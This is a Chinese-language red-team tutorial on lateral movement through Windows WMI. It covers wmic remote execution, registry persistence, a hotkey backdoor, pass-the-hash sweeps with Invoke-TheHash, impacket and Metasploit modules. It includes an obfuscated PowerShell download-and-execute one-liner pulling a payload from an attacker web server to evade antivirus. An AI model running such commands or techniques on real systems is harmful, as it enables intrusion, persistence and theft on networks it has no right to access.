跨平台横向移动 [ wmi利用 ]

  • A+
所属分类:安全文章



跨平台横向移动 [ wmi利用 ]




0x01 本节重点快速预览

  • wmi是什么 ?

  • 想成功利用wmi进行横向移动的前提条件又是什么 ?

  • 如何利用win自带的wmic工具纯手工对目标windows机器进行各种远程操作

  • 关于wmi在powershell下的一些常规应用

  • 如何借助各种外部wmi工具更方便的实现远程执行及半交互式shell获取

  • 基于wmi的跨平台横向移动

  • 关于CobaltStrike以及msf自带的wmi横向功能模块利用


测试环境

跨平台横向移动 [ wmi利用 ]


0x02 首先,先来大致了解下 wmi 到底是个什么东西 ?


    单从字面意思来理解,即"windows 管理规范[WMI]",实际上就是从windows 03/xp开始就一直内置的一个系统插件,其设计初衷之一是为了管理员能更加方便的对远程windows主机进行各种日常管理,此处我们不妨先来简单来试着想一下,对windows的远程管理到底意味着什么,没错,它意味着我们可以直接在本地对远程windows目标机器上的进程,服务,注册表等其它的一系列的特权操作[假设当前用户权限够的情况下]...[严格来说它其实是为各种服务提供一个统一的调用接口而设计的,比如,你想操作什么服务就去调用对应的服务类中的方法去执行你的操作即可,不过,单对于内网横向移动来讲,我们可以暂时先不用把它理解的非常细致,毕竟也不是专门在做针对性的防御产品],也正是由于此功效,在正常的管理员的眼里 wmi 可能确实是一把远程管理的好手,但在渗透者眼中,它也同样是一把在目标内网进行横向移动的趁手武器



0x03 当然啦, wmi 固然实用,但它并非没有任何利用条件


    首先,得保证目标系统的"Windows ManagementInstrumentation"服务已经事先开启[其实默认就是开启的]

跨平台横向移动 [ wmi利用 ]


    其次,还得保证目标系统防火墙已事先允许135端口[当后面说到其它的一些横向手法时,可能还会涉及到445,5985和5986端口,此处咋不多说]流过,因为命令的传输回显都需要靠此端口来进行,同样,这些在内网机器间一般都是允许的[尤其在域内],如下,则是目标防火墙禁止外部访问本地135端口的实际效果,有时候万一命令没执行成功,可以顺手用telnet打下目标机器的135端口,看看能不能通,如果压根都不通,就要好好思考下了

跨平台横向移动 [ wmi利用 ]


    最后,当上面的条件都满足之后,剩下的就是拿着已经事先通过其它的各种途径[非此处重点,不多做说明] 搞到的N组正确的目标管理员的[也可能是域管]账号密码[也可能是密码hash]去真正开始尝试"横向"



0x04 如何利用win自带的wmic工具 [其实就是对wmi的一种命令行实现以纯手工的方式在远程目标机器上执行任意payload


利用wmic远程实现常规下载者效果

跨平台横向移动 [ wmi利用 ]

注意,实际中被执行的那台机器必须保证能正常出网才行,因为它要去下载你的马

跨平台横向移动 [ wmi利用 ]


利用wmic远程执行实现beacon上线

准备好payload,并把它丢到自己事先准备好的web目录下

跨平台横向移动 [ wmi利用 ]

    依然是用最常规的IEX DownloadString来远程加载执行我们的payload,此处payload可以是任意的,尽量用一些不容易被ids注意的后缀类型

跨平台横向移动 [ wmi利用 ]

如下,beacon正常上线

跨平台横向移动 [ wmi利用 ]

    当然啦,如果直接像上面那样用肯定会被拦掉,实战中为了尽可能规避一些简单的ids和AV,可以试着把PS代码稍微混淆下,对于一些静态检测还是好使的,比如,如下的demo


# powershell -nop -exec bypass -c "('IEX'+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.3'+'.69/'+'Win'+'d'+'w'+'n.'+'txt1v'+'c)'+';').REplaCE('1vc',[STRing][CHAR]39)|IeX"



上面都是在远程执行payload,接着我们再来尝试远程操作注册表

生成好shell,然后通过ipc先把exe的shell传到目标机器的指定目录下

跨平台横向移动 [ wmi利用 ]

    

    比如,现在就尝试往远程目标机器的注册表添加常规自启动项,其实windows常用的注册表自启动键还有七八个,此处就暂以大家最为熟知的run加载exe为例,当然,通过其它的键加载dll也是没有任何问题的,此处根本目的不在于自启动,而是想告诉大家可以沿用这种思路深度应用

跨平台横向移动 [ wmi利用 ]

 

    为了快速看下我们的自启动效果,可尝试直接远程手动重启目标系统,当然啦,实战中没有极特殊情况或目的,肯定是不能随随便便的重启别人系统的,容易造成一些不必要的麻烦,暴露自己

跨平台横向移动 [ wmi利用 ]

跨平台横向移动 [ wmi利用 ]

跨平台横向移动 [ wmi利用 ]


    等待目标系统重启完成,管理员正常登录系统后,我们的马便会立即上线,效果如下,不过我们在实战中肯定不会这么干,常用的那七八个自启动键AV早就盯的死死的,由于自启动并非今天的重点,暂且不多说,大家只需知道可以通过wmic这么干即可,剩下的东西自己再慢慢延伸

跨平台横向移动 [ wmi利用 ]

 

    假设目标系统已事先开启并允许远程rdp连接,那我们就可以尝试用替换热键的方式临时性的留个简易后门[此方式通常适用于03以下的老系统],还是那句话,实际中我们通常都不会直接这么干,此处的目的也主要是为了说明可以这么远程去操作目标系统注册表

跨平台横向移动 [ wmi利用 ]

跨平台横向移动 [ wmi利用 ]



0x05 上面我们简单演示了如何利用wmic纯手工对目标内网的指定机器进行各种远程操作,接着就再来看下如何利用各种基于wmi的外部工具来更方便的执行各种远程操作

 

WMIcmd [回显命令结果]

    虽然上面的命令看起来稍微繁琐了点[其实一点也不繁琐],往往在实战中却是对我们最方便的,比如,当实在不太好往目标机器上传工具,也没法用socks把工具直接代到目标内网中时,再比如,用某些外部的wmi工具弹的shell,它是在一个子进程下,对于beacon这种或者其它形式的cmd shell是根本接收不到的,等等诸如此类的情况...也许只有到此时,你才会觉得那些系统原生的基础命令要比任何外部工具都强百倍,不得不说确实太简陋[没有执行结果回显,不好判断]了些,但好在非常通用,也足矣临时性的帮你应对当前的渗透动作,说白点,各种工具无非也是基于这些东西实现的,当然啦,如果你就习惯用别人写好的一些功能稍强的wmi外部工具,也是没有任何问题的


    比如,下面要说的这个wmicmd,其大致实现原理比较简单,就是把结果数据先存到指定的注册表键值下,至于数据具体存在哪个键值里,直接看到代码即可知,其github地址 https://github.com/nccgroup/WMIcmd 然后再远程去读取,同样也是依靠135端口进行工作,因为是先存再读,所以回显的时候会感觉稍慢,工具自己用vs编译下就行,编译成功后会生成三个文件,一个exe,两个dll,三个文件加起来总共80k左右,还算是能接受的范围,用法如下,不建议在域内使用,暂时还有些问题,不过工作组环境下还是没啥问题的

跨平台横向移动 [ wmi利用 ]


wmiexec.vbs [回显 + 半交互式shell 小巧]

    一位前辈很久之前写的小脚本,确实比较老了,不过很通用,大致实现原理是这样,我们刚刚说过,上面是把结果数据先存到注册表,而此脚本则是把数据存到一个临时文件中,在每次读取完执行结果后就自动删除,用法比较简单,如下,首先,我们尝试直接获取一个目标机器的半交互式shell,此处是直接用的域管账户

跨平台横向移动 [ wmi利用 ]

 

常规的远程执行命令,此处则用的本地管理员账户

跨平台横向移动 [ wmi利用 ]


0x06 关于wmipowershell下的一些常规应用 [ 当我们没有破出目标管理员[rid 500]的明文账号密码,通过传统的hash传递方式也一样可以远程执行任意payload,最好先想办法弹回一个正儿八经的ps shell来操作,另外,偶尔IEX会有些问题 ]


Invoke-WMIExec.ps1脚本

    借助Invoke-WMIExec.ps1脚本远程加载执行该payload,唯一需要注意的地方就是,此处我们是直接用hash传递的方式来执行的

跨平台横向移动 [ wmi利用 ]

最后可以看到,目标机器的meterpreter已被顺利弹回

跨平台横向移动 [ wmi利用 ]

 

    除了Invoke-WMIExec.ps1 脚本为我们提供的那种远程执行方式,其实在Invoke-TheHash.ps1也提供了另外一个同是基于wmi的,非常实用的功能,就是拿着现有管理员的密码hash,批量去撞指定内网段下的所有机器


    先加载Invoke-WMIExec.ps1,再加载Invoke-TheHash.ps1,因为Invoke-TheHash里要用到Invoke-WMIExec方法,注意这儿的target参数[可能会比较神奇],这种方式同时适用于工作组和域环境下

跨平台横向移动 [ wmi利用 ]

 

0x07 基于wmi的跨平台利用方式 [ 所谓的跨平台是指从已控linux -> 同内网下的windows,其实主要还是利用impacket套件在搞 ]


    偶尔可能会遇到这样的情况,比如,你当前拿下的这台linux机器,不方便socks,也没法用http隧道来搞等等...诸如此类的情况,又想以此机器为据点跨到同内网下的其它windows机器上,不得不自己在当前的linux机器上配置python环境并安装impacket,不过话说回来,通常都不需要这么干

跨平台横向移动 [ wmi利用 ]


    虽然impacket本身是基于python的,但好在有人已经帮我们打包好了直接可用的exe ,这样一来在windows下使用就比较方便了,只不过打包后的单文件实在太大,一个5M左右,万一不能直接把它socks到目标内网里,再想直接传到目标机器上用就不大方便了,其实真没必要非纠结着这么干,其 Github地址 : https://github.com/maaaaz/impacket-examples-windows,此处务必要注意下,其实它是靠445端口通信的,而非135,包括上面的impacket for python 也是

跨平台横向移动 [ wmi利用 ]


    其实,在Kali中也自带了非常多的类似功能的工具,比如,pth-toolkit工具集,实战中可以直接用socks[此类操作,建议用socks5,4和4a可能会有些问题]把它们都代到目标内网中去用,此处就不多说了

跨平台横向移动 [ wmi利用 ]



0x09 关于msf中的各种wmi横向移动模块利用


此处就暂借我们上面弹回的那个meterpreter为例进行横向演示

跨平台横向移动 [ wmi利用 ]


    其实,另外还有两个可用于横向的wmi模块,但默认弹的meterpreter实战中杀的比较厉害,想顺利弹回来,得废不小的劲[其实确实也没必要非msf不可,手工一样搞],所以,那两个模块就不再细说了,有兴趣的弟兄可以自行去看,实际用途不是特别大

跨平台横向移动 [ wmi利用 ]


一点小结

   由于wmi的通用性非常好[几乎是从win xp/03 到 win10/2016的全版本适用],通常情况下都会被作为我们在windows内网下横向移动的首选,当前文章中所演示的用法其实也只是极小的一部分常规用法,一些稍高级的应用,中间并未提及,比如,在windows内网[工作组或域]中通过wmi实现批量自动化感染等等...关于其它的更多横向移动手法,在后续的文章会再慢慢说明,不过不管是基于哪种系统特性进行的横向移动,可能会遇到的阻碍无非就这些,目标域策略限制,防火墙阻断了用于横向的端口,payload或者自己的马不免杀[或者马免杀了但流量却没有很好的穿透对方的各种ids],其它的各种防护,等等...还是建议大家把主要的精力放在如何突破这些障碍而不仅仅局限于某个工具或者命令怎么用上,如果有机会,不妨找一些针对性的产品来好好研究下,也许你看着操作,感觉貌似也挺轻松的,但真实的实战环境下,往往感觉非常简答的东西但想要走起来却举步维艰,有经验的朋友想必应该都能多多少少的体会到,就不多啰嗦了,至于管理密码[或密码hash],这些本身就是我们前期渗透的重点,横向移动也只是我们实际渗透中的其中一个环节而已,至于如何搞到,此处不再具体说明,后续同样都会有单独文章进行说明,废话就不多说了,文章写的仓促,中间不免有些瑕疵,欢迎弟兄们多多留言指正


补充

    有些新手朋友可能会问到,所谓的 "横向移动" 到底是在干什么,我相信, ATT&CK 或者 谷歌,会比我解释的更清楚


https://attack.mitre.org/wiki/Lateral_Movement


    更多更优质的精品实用干货技术分享,和众多资深apt及红队玩家一起深度无缝交流,只需微信扫码加入密圈即可,另外,关于本文完整pdf原件也已分享到密圈

跨平台横向移动 [ wmi利用 ]


    亦可关注个人公众号,将不定期进行各种公开的优质分享,欢迎朋友们的无私 转发打赏 , 点赞 与 留言,感谢

跨平台横向移动 [ wmi利用 ]


本文始发于微信公众号(红队防线):跨平台横向移动 [ wmi利用 ]

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: